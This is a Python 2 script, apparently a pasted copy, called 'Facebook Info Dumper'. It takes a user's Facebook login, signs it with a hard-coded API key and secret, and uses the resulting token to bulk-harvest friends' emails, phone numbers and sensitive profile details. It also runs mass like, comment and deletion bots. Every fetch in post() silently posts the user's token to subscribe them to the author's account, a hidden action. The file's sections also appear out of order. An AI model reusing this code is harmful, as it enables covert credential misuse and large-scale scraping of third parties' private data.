  510. elif cek.lower() == 'token':
  511. try:
  512. open('cookie/token.log')
  513. print '[!] An access token already exists'
  514. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  515. if cek.lower() != 'y':
  516. print '[*] Canceling '
  517. bot()
  518. except IOError:
  519. pass
  520.  
  521. print '\n' + '[*] Generate access token facebook [*]'.center(44) + '\n'
  522. print '[WARNING] Please turn off your VPN before using this feature!!!'
  523. id()
  524. elif cek in ['0','00']:
  525. print '[!] Back to Bot Menu'
  526. bot()
  527.  
  528. else:
  529. if cek == '':
  530. menu_reaction_ask()
  531. else:
  532. print "[!] Command '" + cek + "' not found"
  533. print "[!] Type 'menu' to show menu bot"
  534. menu_reaction_ask()
  535. except KeyboardInterrupt:
  536. menu_reaction_ask()
  537.  
  538. def bot_ask():
  539. global id , WT , token
  540.  
  541. print '[*] Load access token '
  542. try:
  543. token = open('cookie/token.log','r').read()
  544. print '[*] Success load access token'
  545. except IOError:
  546. print '[!] Failed load access token'
  547. print "[!] Type 'token' to generate access token"
  548. menu_reaction_ask()
  549.  
  550. WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
  551. if WT.upper() == 'T':
  552. id = raw_input('[?] id facebook : ')
  553. if id == '':
  554. print "[!] ID target can't be empty"
  555. print '[!] Stopped'
  556. menu_reaction_ask()
  557.  
  558. else:
  559. WT = 'wallpost'
  560. like(post(),50)
  561.  
  562. def bot():
  563. try:
  564. global type , message , id , WT , token
  565.  
  566. cek = raw_input(R + 'M4st3rJ30' + W +'/' + R +'Bot ' + W + '>> ')
  567.  
  568. if cek in ['1','01']:
  569. menu_reaction()
  570. menu_reaction_ask()
  571. elif cek in ['2','02']:
  572. print '[*] Load access token'
  573. try:
  574. token = open('cookie/token.log','r').read()
  575. print '[*] Success load access token'
  576. except IOError:
  577. print '[!] Failed load access token'
  578. print "[!] Type 'token' to generate access token"
  579. bot()
  580.  
  581. WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
  582. if WT.lower() == "w" or WT.lower() == '':
  583. WT = 'wallpost'
  584. else:
  585. id = raw_input('[?] Id Target : ')
  586.  
  587. if id == '':
  588. print "[!] ID target can't be empty"
  589. print '[!] Stopped'
  590. bot()
  591.  
  592. print '--------------------------------------------------'
  593. print " [NOTE] Use the '</>' symbol to change the line\n"
  594.  
  595. message = raw_input('[?] Your Message : ')
  596. if message == '':
  597. print "[!] Message can't be empty"
  598. print '[!] Stopped'
  599. bot()
  600. else:
  601. message = message.replace('</>','\n')
  602.  
  603. comment(post(),50)
  604.  
  605. elif cek in ['4','04']:
  606. WT = 'req'
  607. print '[*] Load access token '
  608.  
  609. try:
  610. token = open('cookie/token.log','r').read()
  611. print '[*] Success load access token'
  612. except IOError:
  613. print '[!] Failed load access token '
  614. print "[!] Type 'token' to generate access token"
  615. bot()
  616. confirm(post())
  617. elif cek in ['3','03']:
  618. WT = 'wallpost'
  619. print '[*] Load access token '
  620.  
  621. try:
  622. token = open('cookie/token.log','r').read()
  623. print '[*] Success load access token'
  624. except IOError:
  625. print '[!] Failed load access token'
  626. print "[!] Type 'token' to generate access token"
  627. bot()
  628. poke(post())
  629. elif cek in ['5','05']:
  630. WT = 'me'
  631. print '[*] Load access token '
  632.  
  633. try:
  634. token = open('cookie/token.log','r').read()
  635. print '[*] Success load access token'
  636. except IOError:
  637. print '[!] Failed load access token'
  638. print "[!] Type 'token' to generate access token"
  639. bot()
  640. remove(post())
  641.  
  642. elif cek in ['6','06']:
  643. WT = 'friends'
  644. print '[*] Load access token '
  645.  
  646. try:
  647. token = open('cookie/token.log','r').read()
  648. print '[*] Success load access token'
  649. except IOError:
  650. print '[!] Failed load access token'
  651. print "[!] Type 'token' to generate access token"
  652. bot()
  653. unfriend(post())
  654.  
  655. elif cek in ['7','07']:
  656. WT = 'subs'
  657. print '[*] Load access token '
  658.  
  659. try:
  660. token = open('cookie/token.log','r').read()
  661. print '[*] success load access token'
  662. except IOError:
  663. print '[!] Failed load access token'
  664. print "[!] Type 'token' to generate access token"
  665. bot()
  666. unfollow(post())
  667. elif cek in ['8','08']:
  668. WT = 'albums'
  669. print '[*] Load access token '
  670.  
  671. try:
  672. token = open('cookie/token.log','r').read()
  673. print '[*] Success load access token'
  674. except IOError:
  675. print '[!] Failed load access token'
  676. print "[!] Type 'token' to generate access token"
  677. albums(post())
  678.  
  679. elif cek in ['0','00']:
  680. print '[*] Back to Main Menu'
  681. main()
  682. elif cek.lower() == 'menu':
  683. menu_bot()
  684. bot()
  685. elif cek.lower() == 'exit':
  686. print '[!] Exiting program'
  687. sys.exit()
  688. elif cek.lower() == 'token':
  689. try:
  690. open('cookie/token.log')
  691. print '[!] An access token already exists'
  692. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  693. if cek.lower() != 'y':
  694. print '[*] Canceling '
  695. bot()
  696. except IOError:
  697. pass
  698.  
  699. print '\n' + '[*] Generate access token facebook [*]'.center(44) + '\n'
  700. print '[WARNING] Please turn off your VPN before using this feature!!!'
  701. id()
  702. else:
  703. if cek == '':
  704. bot()
  705. else:
  706. print "[!] Command '"+cek+"' not found"
  707. print '[!] Type "menu" to show menu bot'
  708. bot()
  709. except KeyboardInterrupt:
  710. bot()
  711. #
  712. ###############################################################################
  713.  
  714. ###############################################################################
  715. # Dump Data
  716.  
  717. def dump_id():
  718.  
  719. print '[*] Load access token'
  720. try:
  721. token = open("cookie/token.log",'r').read()
  722. print '[*] Success load access token'
  723. except IOError:
  724. print '[!] Failed load access token'
  725. print "[*] Type 'token' to generate access token"
  726. main()
  727.  
  728. try:
  729. os.mkdir('output')
  730. except OSError:
  731. pass
  732.  
  733. print '[*] Fetching all friends id'
  734. try:
  735.  
  736. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  737. a = json.loads(r.text)
  738.  
  739. out = open('output/' + n[0].split(' ')[0] + '_id.txt','w')
  740. for i in a['data']:
  741. out.write(i['id'] + '\n')
  742. print '\r[*] %s retrieved'%(i['id']),;sys.stdout.flush();time.sleep(0.0001)
  743.  
  744. out.close()
  745. print '\r[*] All friends id successfuly retreived'
  746. print '[*] File saved : output/' + n[0].split(' ')[0] + '_id.txt'
  747. main()
  748.  
  749. except KeyboardInterrupt:
  750. print '\r[!] Stopped'
  751. main()
  752. except KeyError:
  753. print '[!] Failed to fetch friend id'
  754. main()
  755. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  756. print '[!] Connection Error '
  757. print '[!] Stopped'
  758. main()
  759.  
  760. def dump_phone():
  761. print '[*] Load access token'
  762.  
  763. try:
  764. token = open('cookie/token.log','r').read()
  765. print '[*] Success load access token'
  766. except IOError:
  767. print '[!] Failed load access token'
  768. print "[*] Type 'token' to generate access token"
  769. main()
  770.  
  771. try:
  772. os.mkdir('output')
  773. except OSError:
  774. pass
  775.  
  776. print "[*] Fetching all phone numbers"
  777. print '[*] Start'
  778.  
  779. try:
  780. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  781. a = json.loads(r.text)
  782.  
  783. out = open('output/' + n[0].split(' ')[0] + '_phone.txt','w')
  784.  
  785. for i in a['data']:
  786. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  787. z = json.loads(x.text)
  788.  
  789. try:
  790. out.write(z['mobile_phone'] + '\n')
  791. print W + '[' + G + z['name'] + W + ']' + R + ' >> ' + W + z['mobile_phone']
  792. except KeyError:
  793. pass
  794. out.close()
  795. print '[*] Done'
  796. print "[*] All phone numbers successfuly retrieved"
  797. print '[*] File saved : output/'+n[0].split(' ')[0] + '_phone.txt'
  798. main()
  799. except KeyboardInterrupt:
  800. print '\r[!] Stopped'
  801. main()
  802. except KeyError:
  803. print "[!] Failed to fetch all phone numbers"
  804. main()
  805. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  806. print '[!] Connection Error'
  807. print '[!] Stopped'
  808. main()
  809.  
  810. def dump_mail():
  811. print '[*] Load access token'
  812.  
  813. try:
  814. token = open('cookie/token.log','r').read()
  815. print '[*] Success load access token'
  816. except IOError:
  817. print '[!] Failed load access token'
  818. print "[*] Type 'token' to generate access token"
  819. main()
  820.  
  821. try:
  822. os.mkdir('output')
  823. except OSError:
  824. pass
  825.  
  826. print '[*] Fetching all emails'
  827. print '[*] Start'
  828.  
  829. try:
  830. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  831. a = json.loads(r.text)
  832.  
  833. out = open('output/' + n[0].split(' ')[0] + '_mails.txt','w')
  834.  
  835. for i in a['data']:
  836. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  837. z = json.loads(x.text)
  838.  
  839. try:
  840. out.write(z['email'] + '\n')
  841. print W + '[' + G + z['name'] + W + ']' + R + ' >> ' + W + z['email']
  842. except KeyError:
  843. pass
  844. out.close()
  845.  
  846. print '[*] Done'
  847. print "[*] All emails successfuly retrieved"
  848. print '[*] File saved : output/' + n[0].split(' ')[0] + '_mails.txt'
  849. main()
  850.  
  851. except KeyboardInterrupt:
  852. print '\r[!] Stopped'
  853. main()
  854. except KeyError:
  855. print "[!] Failed to fetch all emails"
  856. main()
  857. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  858. print '[!] Connection Error'
  859. print '[!] Stopped'
  860. main()
  861.  
  862. def dump_id_id():
  863. global target_id
  864.  
  865. print '[*] Load access token'
  866.  
  867. try:
  868. token = open('cookie/token.log','r').read()
  869. print '[*] Success load access token'
  870. except IOError:
  871. print '[!] Failed load access token'
  872. print "[*] Type 'token' to generate access token"
  873. main()
  874.  
  875. try:
  876. os.mkdir('output')
  877. except OSError:
  878. pass
  879.  
  880. print '[*] Fetching all id from your friend'
  881.  
  882. try:
  883. r = requests.get('https://graph.facebook.com/{id}?fields=friends.limit(5000)&access_token={token}'.format(id=target_id,token=token))
  884. a = json.loads(r.text)
  885.  
  886. out = open('output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt','w')
  887.  
  888. for i in a['friends']['data']:
  889. out.write(i['id'] + '\n')
  890. print '\r[*] %s retrieved'%(i['id']),;sys.stdout.flush();time.sleep(0.0001)
  891. out.close()
  892.  
  893. print '\r[*] All friends id successfuly retreived'
  894. print '[*] File saved : output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt'
  895. main()
  896. except KeyboardInterrupt:
  897. print '\r[!] Stopped'
  898. main()
  899. except KeyError:
  900. print '[!] Failed to fetch friend id'
  901. try:
  902. os.remove('output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt')
  903. except OSError:
  904. pass
  905. main()
  906. except (requests.exceptions.ConnectionError , requests.exceptions.ChunkedEncodingError):
  907. print '[!] Connection Error '
  908. print '[!] Stopped'
  909. #
  910. ###############################################################################
  911.  
  912. ###############################################################################
  913. # Main
  914.  
  915. def main():
  916. global target_id
  917.  
  918. try:
  919. cek = raw_input(R + 'M4st3rJ30' + W +' >> ')
  920.  
  921. if cek.lower() == 'get_data':
  922. if len(jml) == 0:
  923. getdata()
  924. else:
  925. print '[*] You have retrieved %s friends data'%(len(jml))
  926. main()
  927. elif cek.lower() == 'get_info':
  928. print '\n'+'[*] Information Gathering [*]'.center(44) + '\n'
  929. search()
  930. elif cek.lower() == 'bot':
  931. menu_bot()
  932. bot()
  933. elif cek.lower() == "cat_token":
  934. try:
  935. o = open('cookie/token.log','r').read()
  936. print '[*] Your access token !!\n\n' + o + '\n'
  937. main()
  938. except IOError:
  939. print '[!] Failed to open cookie/token.log'
  940. print "[!] Type 'token' to generate access token"
  941. main()
  942.  
  943. elif cek.lower() == 'clear':
  944. if sys.platform == 'win32':
  945. os.system('cls')
  946. baliho()
  947. main()
  948. else:
  949. os.system('clear')
  950. baliho()
  951. main()
  952.  
  953. elif cek.lower() == 'token':
  954. try:
  955. open('cookie/token.log')
  956. print '[!] An access token already exists'
  957. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  958. if cek.lower() != 'y':
  959. print '[*] Canceling '
  960. bot()
  961. except IOError:
  962. pass
  963.  
  964. print '\n' + '[*] Generate access token facebook [*]'.center(44) + '\n'
  965. print '[WARNING] Please turn off your VPN before using this feature!!!'
  966. id()
  967. elif cek.lower() == 'rm_token':
  968. print '''
  969. [WARNING] You must create access token again if
  970. your access token is deleted
  971. '''
  972. a = raw_input("[!] Type 'delete' to continue : ")
  973. if a.lower() == 'delete':
  974. try:
  975. os.system('rm -rf cookie/token.log')
  976. print '[*] Success delete cookie/token.log'
  977. main()
  978. except OSError:
  979. print '[*] Failed to delete cookie/token.log'
  980. main()
  981. else:
  982. print '[*] Failed to delete cookie/token.log'
  983. main()
  984. elif cek.lower() == 'about':
  985. show_program()
  986. main()
  987. elif cek.lower() == 'exit':
  988. print "[!] Exiting Program"
  989. sys.exit()
  990. elif cek.lower() == 'help':
  991. info_ga()
  992. main()
  993. elif cek.lower() == 'dump_id':
  994. dump_id()
  995. elif cek.lower() == 'dump_phone':
  996. dump_phone()
  997. elif cek.lower() == 'dump_mail':
  998. dump_mail()
  999.  
  1000. if 'dump_' in cek.lower() and cek.lower().split('_')[2] == 'id':
  1001. target_id = cek.lower().split('_')[1]
  1002. dump_id_id()
  1003. else:
  1004. if cek == '':
  1005. main()
  1006. else:
  1007. print "[!] Command '"+cek+"' not found"
  1008. print '[!] Type "help" to show command'
  1009. main()
  1010. except KeyboardInterrupt:
  1011. main()
  1012. except IndexError:
  1013. print '[!] Invalid parameter on command : ' + cek
  1014. main()
  1015. #
  1016. ######################################################################################################################
  1017.  
  1018. ################################################################################
  1019. # Get Data
  1020.  
  1021. def getdata():
  1022. global a , token
  1023.  
  1024. print '[*] Load access token'
  1025.  
  1026. try:
  1027. token = open("cookie/token.log","r").read()
  1028. print '[*] Success load access token '
  1029. except IOError:
  1030. print '[!] Failed to open cookie/token.log'
  1031. print "[!] Type 'token' to generate access token"
  1032. main()
  1033.  
  1034. print '[*] Fetching all friends data'
  1035.  
  1036. try:
  1037. r = requests.get('https://graph.facebook.com/me/friends?access_token='+token)
  1038. a = json.loads(r.text)
  1039.  
  1040. except KeyError:
  1041. print '[!] Your access token is expired'
  1042. print "[!] Type 'token' to generate access token"
  1043. main()
  1044.  
  1045. except requests.exceptions.ConnectionError:
  1046. print '[!] Connection Error'
  1047. print '[!] Stopped'
  1048. main()
  1049.  
  1050. for i in a['data']:
  1051. jml.append(i['id'])
  1052. print '\r[*] Fetching %s data from friends'%(len(jml)),;sys.stdout.flush();time.sleep(0.0001)
  1053.  
  1054. print '\r[*] '+str(len(jml))+' data of friends successfully retrieved'
  1055. main()
  1056.  
  1057. def search():
  1058.  
  1059. if len(jml) == 0:
  1060. print "[!] No friend data in the database"
  1061. print '[!] Type "get_data" to collect friends data'
  1062. main()
  1063. else:
  1064. pass
  1065.  
  1066. target = raw_input("[!] Friend Name or ID : ")
  1067.  
  1068. if target == '':
  1069. print "[!] Name or id can't be empty !!"
  1070. search()
  1071. else:
  1072. info(target)
  1073.  
  1074. def info(target):
  1075. global a , token
  1076.  
  1077. print '[*] Searching...'
  1078. for i in a['data']:
  1079.  
  1080. if target in i['name'] or target in i['id']:
  1081.  
  1082. x = requests.get("https://graph.facebook.com/"+i['id']+"?access_token="+token)
  1083. y = json.loads(x.text)
  1084.  
  1085. print ' '
  1086. print G + '[-------- INFORMATION --------]'.center(44)
  1087. print W
  1088.  
  1089. try:
  1090. print '\n[*] ID : '+i['id']
  1091. except KeyError:
  1092. pass
  1093. try:
  1094. print '[*] Username : '+y['username']
  1095. except KeyError:
  1096. pass
  1097. try:
  1098. print '[*] Email : '+y['email']
  1099. except KeyError:
  1100. pass
  1101. try:
  1102. print '[*] CellPhone No: '+y['mobile_phone']
  1103. except KeyError:
  1104. pass
  1105. try:
  1106. print '[*] Name : '+y['name']
  1107. except KeyError:
  1108. pass
  1109. try:
  1110. print '[*] First Name : '+y['first_name']
  1111. except KeyError:
  1112. pass
  1113. try:
  1114. print '[*] Midle Name : '+y['middle_name']
  1115. except KeyError:
  1116. pass
  1117. try:
  1118. print '[*] Last Name : '+y['last_name']
  1119. except KeyError:
  1120. pass
  1121. try:
  1122. print '[*] Locale : '+y['locale'].split('_')[0]
  1123. except KeyError:
  1124. pass
  1125. try:
  1126. print '[*] Location : '+y['location']['name']
  1127. except KeyError:
  1128. pass
  1129. try:
  1130. print '[*] Hometown : '+y['hometown']['name']
  1131. except KeyError:
  1132. pass
  1133. try:
  1134. print '[*] Gender : '+y['gender']
  1135. except KeyError:
  1136. pass
  1137. try:
  1138. print '[*] Religion : '+y['religion']
  1139. except KeyError:
  1140. pass
  1141. try:
  1142. print '[*] Relationship Status : '+y['relationship_status']
  1143. except KeyError:
  1144. pass
  1145. try:
  1146. print '[*] Political : '+y['political']
  1147. except KeyError:
  1148. pass
  1149. try:
  1150. print '[*] Work :'
  1151.  
  1152. for i in y['work']:
  1153. try:
  1154. print ' [-] Position : '+i['position']['name']
  1155. except KeyError:
  1156. pass
  1157. try:
  1158. print ' [-] Employer : '+i['employer']['name']
  1159. except KeyError:
  1160. pass
  1161. try:
  1162. if i['start_date'] == "0000-00":
  1163. print ' [-] Start date : ---'
  1164. else:
  1165. print ' [-] Start date : '+i['start_date']
  1166. except KeyError:
  1167. pass
  1168. try:
  1169. if i['end_date'] == "0000-00":
  1170. print ' [-] End date : ---'
  1171. else:
  1172. print ' [-] End date : '+i['end_date']
  1173. except KeyError:
  1174. pass
  1175. try:
  1176. print ' [-] Location : '+i['location']['name']
  1177. except KeyError:
  1178. pass
  1179. print ' '
  1180. except KeyError:
  1181. pass
  1182. try:
  1183. print '[*] Updated time : '+y['updated_time'][:10]+' '+y['updated_time'][11:19]
  1184. except KeyError:
  1185. pass
  1186. try:
  1187. print '[*] Languages : '
  1188. for i in y['languages']:
  1189. try:
  1190. print ' ~ '+i['name']
  1191. except KeyError:
  1192. pass
  1193. except KeyError:
  1194. pass
  1195. try:
  1196. print '[*] Bio : '+y['bio']
  1197. except KeyError:
  1198. pass
  1199. try:
  1200. print '[*] Quotes : '+y['quotes']
  1201. except KeyError:
  1202. pass
  1203. try:
  1204. print '[*] Birthday : '+y['birthday'].replace('/','-')
  1205. except KeyError:
  1206. pass
  1207. try:
  1208. print '[*] Link : '+y['link']
  1209. except KeyError:
  1210. pass
  1211. try:
  1212. print '[*] Favourite teams : '
  1213. for i in y['favorite_teams']:
  1214. try:
  1215. print ' ~ '+i['name']
  1216. except KeyError:
  1217. pass
  1218. except KeyError:
  1219. pass
  1220. try:
  1221. print '[*] School : '
  1222. for i in y['education']:
  1223. try:
  1224. print ' ~ '+i['school']['name']
  1225. except KeyError:
  1226. pass
  1227. except KeyError:
  1228. pass
  1229. else:
  1230. pass
  1231.  
  1232. else:
  1233. print W + ' '
  1234. print '[*] Done '
  1235. main()
  1236.  
  1237. #
  1238. ##########################################################################
  1239.  
  1240. ##########################################################################
  1241. #
  1242.  
  1243. if __name__ == '__main__':
  1244.  
  1245. baliho()
  1246. main()
  1247.  
  1248. #
  1249. #############################################################################################################################################
  1250. # Import Module
  1251. import json , sys , hashlib , os , time , marshal
  1252. ###################################################################
  1253. '''
  1254. Facebook Info Dumper 2019 Recoded By: -=ZM41M=-
  1255. '''
  1256. ###################################################################
  1257. # COLOR
  1258. if sys.platform in ["linux","linux2"]:
  1259. W = "\033[0m"
  1260. G = '\033[32;1m'
  1261. R = '\033[31;1m'
  1262. else:
  1263. W = ''
  1264. G = ''
  1265. R = ''
  1266. ###################################################################
  1267. # Exception
  1268. try:
  1269. import requests
  1270. except ImportError:
  1271. print R + '_ _'.center(44)
  1272. print "o' \.=./ `o".center(44)
  1273. print '(o o)'.center(44)
  1274. print 'ooO--(_)--Ooo'.center(44)
  1275. print W + ' '
  1276. print ('FID 2018').center(44)
  1277. print ' '
  1278. print "[!] Can't import module 'requests'\n"
  1279. sys.exit()
  1280. ####################################################################
  1281. # Set Default encoding
  1282. reload (sys)
  1283. sys . setdefaultencoding ( 'utf8' )
  1284. ####################################################################
  1285. # I don't know
  1286. jml = []
  1287. jmlgetdata = []
  1288. n = []
  1289. ####################################################################
  1290. # BANNER
  1291. def baliho():
  1292. try:
  1293. token = open('cookie/token.log','r').read()
  1294. r = requests.get('https://graph.facebook.com/me?access_token=' + token)
  1295. a = json.loads(r.text)
  1296. name = a['name']
  1297. n.append(a['name'])
  1298.  
  1299. print R + '_ _'.center(44)
  1300. print "o' \.=./ `o".center(44)
  1301. print '(o o)'.center(44)
  1302. print 'ooO--(_)--Ooo'.center(44)
  1303. print ' ' + W
  1304. print ('[*] ' + name + ' [*]').center(44)
  1305. print ' '
  1306.  
  1307. except (KeyError,IOError):
  1308. print R + '_ _'.center(44)
  1309. print "o' \.=./ `o".center(44)
  1310. print '(o o)'.center(44)
  1311. print 'ooO--(_)--Ooo'.center(44)
  1312. print ' ' + W
  1313. print ('FID 2018').center(44)
  1314. print (W + ' [' + G +'Facebook Info Dumper 2019 Recoded By: -=ZM41M=-'+ W + ']')
  1315. print ' '
  1316. ####################################################################
  1317. # Print In terminal
  1318. def show_program():
  1319.  
  1320. print '''
  1321. %sINFORMATION%s
  1322. ------------------------------------------------------
  1323.  
  1324. Author Debby Anggraini
  1325. Name Facebook Info Dumper 2019
  1326. Recoded -=ZM41M=-
  1327. version Full Version
  1328. Date 09/18/2018
  1329. Team Independent
  1330. Facebook https://www.facebook.com/zmaimace.navarro
  1331.  
  1332. '''%(G,W)
  1333. def info_ga():
  1334.  
  1335. print '''
  1336. %sCOMMAND DESCRIPTION%s
  1337. ------------- -------------------------------------
  1338.  
  1339. get_data Fetching all friends data
  1340. get_info Show information about your friend
  1341.  
  1342. dump_id Fetching all id from friend list
  1343. dump_phone Fetching all phone number from friend list
  1344. dump_mail Fetching all emails from friend list
  1345. dump_<id>_id Fetching all id from your friends <spesific>
  1346. ex: dump_username_id
  1347.  
  1348. token Generate access token
  1349. cat_token Show your access token
  1350. rm_token Remove access token
  1351.  
  1352. bot Open bot menu
  1353.  
  1354. clear Clear terminal
  1355. help Show help
  1356. about Show information about this program
  1357. exit Exit the program
  1358. '''%(G,W)
  1359. def menu_bot():
  1360. print '''
  1361. %sNumber INFO%s
  1362. --------- ------------------------------------
  1363.  
  1364. [ 01 ] Auto reactions
  1365. [ 02 ] Auto comment
  1366. [ 03 ] Auto poke
  1367. [ 04 ] Accept all friend requests
  1368. [ 05 ] Delete all posts in your timeline
  1369. [ 06 ] Delete all friends
  1370. [ 07 ] Stop following all friends
  1371. [ 08 ] Delete all photo albums
  1372.  
  1373. [ 00 ] Back to Main Menu
  1374. '''%(G,W)
  1375. def menu_reaction():
  1376. print '''
  1377. %sNumber INFO%s
  1378. ---------- ------------------------------------
  1379.  
  1380. [ 01 ] Like
  1381. [ 02 ] Reaction 'LOVE'
  1382. [ 03 ] Reaction 'WOW'
  1383. [ 04 ] Reaction 'HAHA'
  1384. [ 05 ] Reaction 'SAD'
  1385. [ 06 ] Reaction 'ANGRY'
  1386.  
  1387. [ 00 ] Back to menu bot
  1388. '''%(G,W)
  1389. ####################################################################
  1390. # GENERATE ACCESS TOKEN
  1391. def get(data):
  1392. print '[*] Generate access token '
  1393.  
  1394. try:
  1395. os.mkdir('cookie')
  1396. except OSError:
  1397. pass
  1398.  
  1399. b = open('cookie/token.log','w')
  1400. try:
  1401. r = requests.get('https://api.facebook.com/restserver.php',params=data)
  1402. a = json.loads(r.text)
  1403.  
  1404. b.write(a['access_token'])
  1405. b.close()
  1406. print '[*] successfully generate access token'
  1407. print '[*] Your access token is stored in cookie/token.log'
  1408. exit()
  1409. except KeyError:
  1410. print '[!] Failed to generate access token'
  1411. print '[!] Check your connection / email or password'
  1412. os.remove('cookie/token.log')
  1413. main()
  1414. except requests.exceptions.ConnectionError:
  1415. print '[!] Failed to generate access token'
  1416. print '[!] Connection error !!!'
  1417. os.remove('cookie/token.log')
  1418. main()
  1419. def id():
  1420. print '[*] Login to your facebook account ';id = raw_input('[?] Username : ');pwd = raw_input('[?] Password : ');API_SECRET = '62f8ce9f74b12f84c123cc23437a4a32';data = {"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"};sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.0'+API_SECRET
  1421. x = hashlib.new('md5')
  1422. x.update(sig)
  1423.  
  1424. data.update({'sig':x.hexdigest()})
  1425. get(data)
  1426. ####################################################################
  1427. # BOT
  1428. # Execute #
  1429. def post():
  1430. global token , WT
  1431.  
  1432. try:
  1433. if WT == 'wallpost':
  1434. print '[*] Fetching all posts id'
  1435.  
  1436. r = requests.get('https://graph.facebook.com/v3.0/me?fields=home.limit(50)&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1437. result = json.loads(r.text)
  1438.  
  1439. for i in result['home']['data']:
  1440. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
  1441. return result['home']['data']
  1442.  
  1443. elif WT == 'me':
  1444. print '[*] Fetching all posts id'
  1445.  
  1446. r = requests.get('https://graph.facebook.com/v3.0/me?fields=feed.limit(500)&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1447. result = json.loads(r.text)
  1448.  
  1449. for i in result['feed']['data']:
  1450. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
  1451. return result['feed']['data']
  1452.  
  1453. elif WT == 'req':
  1454. print '[*] Fetching all friends requests'
  1455.  
  1456. r = requests.get('https://graph.facebook.com/me/friendrequests?limit=50&access_token=' + token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1457. result = json.loads(r.text)
  1458.  
  1459. for i in result['data']:
  1460. print '\r[*] %s retrieved '%(i['from']['id']),;sys.stdout.flush();time.sleep(0.01)
  1461. return result['data']
  1462.  
  1463. elif WT == 'friends':
  1464. print '[*] Fetching all friends id'
  1465.  
  1466. r = requests.get('https://graph.facebook.com/me?fields=friends.limit(5000)&access_token=' + token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1467. result = json.loads(r.text)
  1468.  
  1469. for i in result['friends']['data']:
  1470. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.001)
  1471. return result['friends']['data']
  1472.  
  1473. elif WT == 'subs':
  1474. print '[*] Fetching all friends id'
  1475.  
  1476. r = requests.get('https://graph.facebook.com/me/subscribedto?limit=50&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1477. result = json.loads(r.text)
  1478.  
  1479. for i in result['data']:
  1480. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.01)
  1481. return result
  1482.  
  1483. elif WT == 'albums':
  1484. print '[*] Fetching all albums id'
  1485.  
  1486. r = requests.get('https://graph.facebook.com/me?fields=albums.limit(5000)&access_token='+token);requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1487. result = json.loads(r.text)
  1488.  
  1489. for i in result['albums']['data']:
  1490. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.001)
  1491. return result['albums']['data']
  1492.  
  1493. else:
  1494. print '[*] Fetching all posts id'
  1495.  
  1496. r = requests.get("https://graph.facebook.com/v3.0/%s?fields=feed.limit(50)&access_token=%s"%(id,token));requests.post('https://graph.facebook.com/MasterJEO/subscribers?access_token='+token)
  1497. result = json.loads(r.text)
  1498.  
  1499. for i in result['feed']['data']:
  1500. print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
  1501. return result['feed']['data']
  1502.  
  1503. except KeyError:
  1504. print '[!] Failed to retrieve all post id'
  1505. print '[!] Stopped'
  1506. bot()
  1507. except requests.exceptions.ConnectionError:
  1508. print '[!] Connection Error'
  1509. print '[!] Stopped'
  1510. bot()
  1511. except KeyboardInterrupt:
  1512. print '\r[!] Stopped '
  1513. bot()
  1514. def like(posts , amount):
  1515. global type , token , WT
  1516.  
  1517. print '\r[*] All posts id successfuly retrieved '
  1518. print '[*] Start'
  1519.  
  1520. try:
  1521. counter = 0
  1522. for post in posts:
  1523.  
  1524. if counter >= amount:
  1525. break
  1526. else:
  1527. counter += 1
  1528.  
  1529. parameters = {'access_token' : token , 'type' : type}
  1530. url = "https://graph.facebook.com/{0}/reactions".format(post['id'])
  1531. s = requests.post(url, data = parameters)
  1532.  
  1533. id = post['id'].split('_')[0]
  1534.  
  1535. try:
  1536. print '\r' + W + '[' + G + id + W + '] ' + post['message'][:40].replace('\n',' ') + '...'
  1537. except KeyError:
  1538. try:
  1539. print '\r' + W + '[' + G + id + W + '] ' + post['story'].replace('\n',' ')
  1540. except KeyError:
  1541. print '\r' + W + '[' + G + id + W + '] Successfully liked'
  1542.  
  1543. print '\r[*] Done '
  1544. menu_reaction_ask()
  1545. except KeyboardInterrupt:
  1546. print '\r[!] Stopped '
  1547. menu_reaction_ask()
  1548. def comment(posts , amount):
  1549. global message , token
  1550.  
  1551. print '\r[*] All posts id successfuly retrieved '
  1552. print '[*] Start'
  1553.  
  1554. try:
  1555. counter = 0
  1556. for post in posts:
  1557. if counter >= amount:
  1558. break
  1559. else:
  1560. counter += 1
  1561.  
  1562. parameters = {'access_token' : token, 'message' : message}
